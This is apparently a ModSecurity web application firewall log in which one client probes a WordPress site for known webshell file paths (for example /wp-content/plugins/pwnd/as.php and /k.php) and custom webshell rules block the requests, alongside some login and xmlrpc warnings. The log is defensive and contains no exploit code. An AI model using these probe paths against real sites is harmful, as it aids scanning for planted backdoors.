[Thu Feb 26 21:09:52.961802 2026] [:error] [pid 55051:tid 55069] [client 20.216.146.160:30905] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBGIAmK1w2kZvh5eLGpDQAAAI8"]
[Thu Feb 26 21:09:53.440241 2026] [:error] [pid 3883:tid 3891] [client 20.216.146.160:34048] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBGIeA33x90V6yYHajkPQAAAUU"]
[Thu Feb 26 21:09:53.908679 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:31895] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aaBGIeA33x90V6yYHajkQwAAAUI"]
[Thu Feb 26 21:09:54.377676 2026] [:error] [pid 3883:tid 3909] [client 20.216.146.160:45496] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBGIuA33x90V6yYHajkTAAAAVc"]
[Thu Feb 26 21:09:54.849046 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:36979] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBGIuA33x90V6yYHajkUQAAAUk"]
[Thu Feb 26 21:09:55.321534 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:42180] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBGI-A33x90V6yYHajkVAAAAU8"]
[Thu Feb 26 21:09:55.795130 2026] [:error] [pid 20419:tid 20442] [client 20.216.146.160:45465] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aaBGI-3DVDvMfTYYUBVT_wAAAdQ"]
[Thu Feb 26 21:09:56.272805 2026] [:error] [pid 20419:tid 20426] [client 20.216.146.160:33312] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaBGJO3DVDvMfTYYUBVUAQAAAcQ"]
[Thu Feb 26 21:09:56.750851 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:33288] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaBGJOA33x90V6yYHajkWQAAAUc"]
[Thu Feb 26 21:09:57.224933 2026] [:error] [pid 3883:tid 3906] [client 20.216.146.160:16552] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaBGJeA33x90V6yYHajkWwAAAVQ"]
[Thu Feb 26 21:09:57.696019 2026] [:error] [pid 3883:tid 3903] [client 20.216.146.160:36621] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaBGJeA33x90V6yYHajkXAAAAVE"]
[Thu Feb 26 21:09:58.175149 2026] [:error] [pid 3883:tid 3905] [client 20.216.146.160:27938] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBGJuA33x90V6yYHajkXQAAAVM"]
[Thu Feb 26 21:09:58.649716 2026] [:error] [pid 25311:tid 25324] [client 20.216.146.160:39836] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBGJtfdM__yZAgJFSvfgQAAAYo"]
[Thu Feb 26 21:09:59.119516 2026] [:error] [pid 54990:tid 55007] [client 20.216.146.160:36665] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBGJ3tr2qmt_mBhH2wnjAAAAA4"]
[Thu Feb 26 21:09:59.593105 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:34059] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBGJ22sMNmj-yekUk0ZjAAAAhE"]
[Thu Feb 26 21:10:00.066561 2026] [:error] [pid 55618:tid 55624] [client 20.216.146.160:36225] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBGKB61Vrh12f_8oWQKmAAAAQM"]
[Thu Feb 26 21:10:00.541528 2026] [:error] [pid 25311:tid 25325] [client 20.216.146.160:56256] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBGKNfdM__yZAgJFSvfhgAAAYs"]
[Thu Feb 26 21:10:01.015134 2026] [:error] [pid 3883:tid 3888] [client 20.216.146.160:36238] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBGKeA33x90V6yYHajkYwAAAUI"]
[Thu Feb 26 21:10:01.496529 2026] [:error] [pid 20419:tid 20441] [client 20.216.146.160:31515] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaBGKe3DVDvMfTYYUBVUBQAAAdM"]
[Thu Feb 26 21:10:01.967039 2026] [:error] [pid 20419:tid 20439] [client 20.216.146.160:33888] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaBGKe3DVDvMfTYYUBVUBwAAAdE"]
[Thu Feb 26 21:10:02.444255 2026] [:error] [pid 25311:tid 25337] [client 20.216.146.160:31492] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaBGKtfdM__yZAgJFSvfjAAAAZc"]
[Thu Feb 26 21:10:02.914626 2026] [:error] [pid 55122:tid 55127] [client 20.216.146.160:31502] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaBGKoLiR0OfjFxvcN8ueAAAAMM"]
[Thu Feb 26 21:10:03.384284 2026] [:error] [pid 55618:tid 55630] [client 20.216.146.160:27960] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/setup-config.php"] [unique_id "aaBGKx61Vrh12f_8oWQKmQAAAQk"]
[Thu Feb 26 21:10:03.859698 2026] [:error] [pid 55618:tid 55644] [client 20.216.146.160:34056] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBGKx61Vrh12f_8oWQKnAAAARc"]
[Thu Feb 26 21:10:04.333992 2026] [:error] [pid 55051:tid 55068] [client 20.216.146.160:31491] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBGLAmK1w2kZvh5eLGpFwAAAI4"]
[Thu Feb 26 21:10:04.805063 2026] [:error] [pid 55122:tid 55141] [client 20.216.146.160:33110] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBGLILiR0OfjFxvcN8ueQAAANE"]
[Thu Feb 26 21:10:05.275299 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:5762] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaBGLW2sMNmj-yekUk0ZlQAAAgU"]
[Thu Feb 26 21:10:05.754729 2026] [:error] [pid 20419:tid 20435] [client 20.216.146.160:36639] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBGLe3DVDvMfTYYUBVUDQAAAc0"]
[Thu Feb 26 21:10:06.224181 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:56302] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBGLuA33x90V6yYHajkZAAAAUs"]
[Thu Feb 26 21:10:06.694998 2026] [:error] [pid 3883:tid 3900] [client 20.216.146.160:24624] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBGLuA33x90V6yYHajkZwAAAU4"]
[Thu Feb 26 21:10:07.166954 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:20535] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaBGL-A33x90V6yYHajkbQAAAUQ"]
[Thu Feb 26 21:10:07.642183 2026] [:error] [pid 3883:tid 3901] [client 20.216.146.160:31515] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/init.php"] [unique_id "aaBGL-A33x90V6yYHajkcAAAAU8"]
[Thu Feb 26 21:10:08.114181 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:32871] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/init.php"] [unique_id "aaBGMOA33x90V6yYHajkcwAAAUY"]
[Thu Feb 26 21:10:08.583795 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:31729] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/init.php"] [unique_id "aaBGMNfdM__yZAgJFSvfmQAAAY0"]
[Thu Feb 26 21:10:09.054945 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:31693] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/init.php"] [unique_id "aaBGMW2sMNmj-yekUk0ZmAAAAgQ"]
[Thu Feb 26 21:10:09.525811 2026] [:error] [pid 44444:tid 44451] [client 20.216.146.160:24606] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaBGMW2sMNmj-yekUk0ZnAAAAgE"]
[Thu Feb 26 21:10:09.994564 2026] [:error] [pid 44444:tid 44467] [client 20.216.146.160:5818] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaBGMW2sMNmj-yekUk0ZnQAAAhE"]
[Thu Feb 26 21:10:10.468880 2026] [:error] [pid 44444:tid 44474] [client 20.216.146.160:44482] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaBGMm2sMNmj-yekUk0ZngAAAhg"]
[Thu Feb 26 21:10:10.938135 2026] [:error] [pid 25311:tid 25335] [client 20.216.146.160:24639] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaBGMtfdM__yZAgJFSvfogAAAZU"]
[Thu Feb 26 21:10:11.408379 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:31740] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aaBGM22sMNmj-yekUk0ZpQAAAgo"]
[Thu Feb 26 21:10:11.880036 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:5785] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/k.php"] [unique_id "aaBGM22sMNmj-yekUk0ZpgAAAgw"]
[Thu Feb 26 21:10:32.864867 2026] [:error] [pid 3883:tid 3895] [client 20.216.146.160:12182] [client 20.216.146.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.216.146.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBGSOA33x90V6yYHajkswAAAUk"]
[Thu Feb 26 21:10:51.027076 2026] [:error] [pid 44444:tid 44474] [client 20.216.146.160:31705] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aaBGW22sMNmj-yekUk0aFQAAAhg"]
[Thu Feb 26 21:10:51.497752 2026] [:error] [pid 3883:tid 3897] [client 20.216.146.160:37483] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aaBGW-A33x90V6yYHajk4wAAAUs"]
[Thu Feb 26 21:10:51.968815 2026] [:error] [pid 3883:tid 3899] [client 20.216.146.160:37469] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aaBGW-A33x90V6yYHajk5gAAAU0"]
[Thu Feb 26 21:10:52.439130 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:30096] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/a2.php"] [unique_id "aaBGXOA33x90V6yYHajk6QAAAUY"]
[Thu Feb 26 21:10:52.907375 2026] [:error] [pid 55051:tid 55067] [client 20.216.146.160:34064] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aaBGXAmK1w2kZvh5eLGpSAAAAI0"]
[Thu Feb 26 21:10:53.377617 2026] [:error] [pid 55122:tid 55143] [client 20.216.146.160:15021] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jsond.php"] [unique_id "aaBGXYLiR0OfjFxvcN8ugAAAANM"]
[Thu Feb 26 21:10:53.848066 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:55879] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jsond.php"] [unique_id "aaBGXeA33x90V6yYHajk7QAAAUc"]
[Thu Feb 26 21:10:54.317876 2026] [:error] [pid 25311:tid 25327] [client 20.216.146.160:10254] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/jsond.php"] [unique_id "aaBGXtfdM__yZAgJFSvf2wAAAY0"]
[Thu Feb 26 21:10:54.788656 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:36983] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aaBGXm2sMNmj-yekUk0aHgAAAgs"]
[Thu Feb 26 21:10:55.258120 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:15031] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aaBGX22sMNmj-yekUk0aIQAAAgw"]
[Thu Feb 26 21:10:55.727540 2026] [:error] [pid 44444:tid 44466] [client 20.216.146.160:30896] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aaBGX22sMNmj-yekUk0aJAAAAhA"]
[Thu Feb 26 21:10:56.197046 2026] [:error] [pid 25311:tid 25315] [client 20.216.146.160:21236] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/av.php"] [unique_id "aaBGYNfdM__yZAgJFSvf7wAAAYE"]
[Thu Feb 26 21:12:27.843521 2026] [:error] [pid 3883:tid 3910] [client 103.56.163.133:47386] [client 103.56.163.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.56.163.133, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaBGu-A33x90V6yYHajmXgAAAVg"]
